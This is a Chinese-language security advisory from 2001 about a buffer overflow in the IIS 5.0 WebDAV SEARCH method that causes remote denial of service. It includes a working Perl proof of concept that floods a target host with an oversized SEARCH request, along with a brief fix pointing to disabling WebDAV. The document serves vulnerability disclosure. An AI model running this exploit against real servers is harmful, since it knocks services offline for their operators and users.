IIS 5.0 SEARCH 方式存在缓冲溢出发布时间:2001-03-19 更新时间:2001-03-19 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 IIS5.0详细描述 Georgi Guninski发现一个新的针对IIS5的拒绝服务攻击,通过发送超长的(虽然合法)SEARCH请求到IIS5.0,会导致产生有关IIS服务的拒绝服务攻击。 这个问题可能与IIS 5.0 propfind 拒绝服务攻击原理一样,但这次拒绝服务攻击看起来可能破坏堆栈导致执行任意代码的可能,虽然没有被验证过。 测试代码 --vv6.pl------------------------------------------------------------- #!/usr/bin/perl use IO::Socket; printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n"; if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; } $port = @ARGV[1]; $host = @ARGV[0]; sub vv() { $ll=$_[0]; #length of buffer $ch=$_[1]; $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; $over=$ch x $ll; #string to overflow $xml='<?xml version="1.0"?><D:searchrequest xmlns:D="DAV:"><D:sql>SELECT DAV:displayname from SCOPE("'.$over.'")</D:sql></D:searchrequest>'."\n"; $l=length($xml); $req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; syswrite($socket,$req,length($req)); print "."; $socket->read($res,3000); print "r=".$res; close $socket; } do vv(126000,"V"); sleep(1); do vv(126000,"V"); #Try 125000 - 128000 解决方案 怎么不启用WebDav扩展和PROPFIND,请查看如下地址描述: http://www.microsoft.com/technet/support/kb.asp?ID=241520 相关信息 这个信息有Georgi Guninski(guninski@GUNINSKI.COM)提供。 |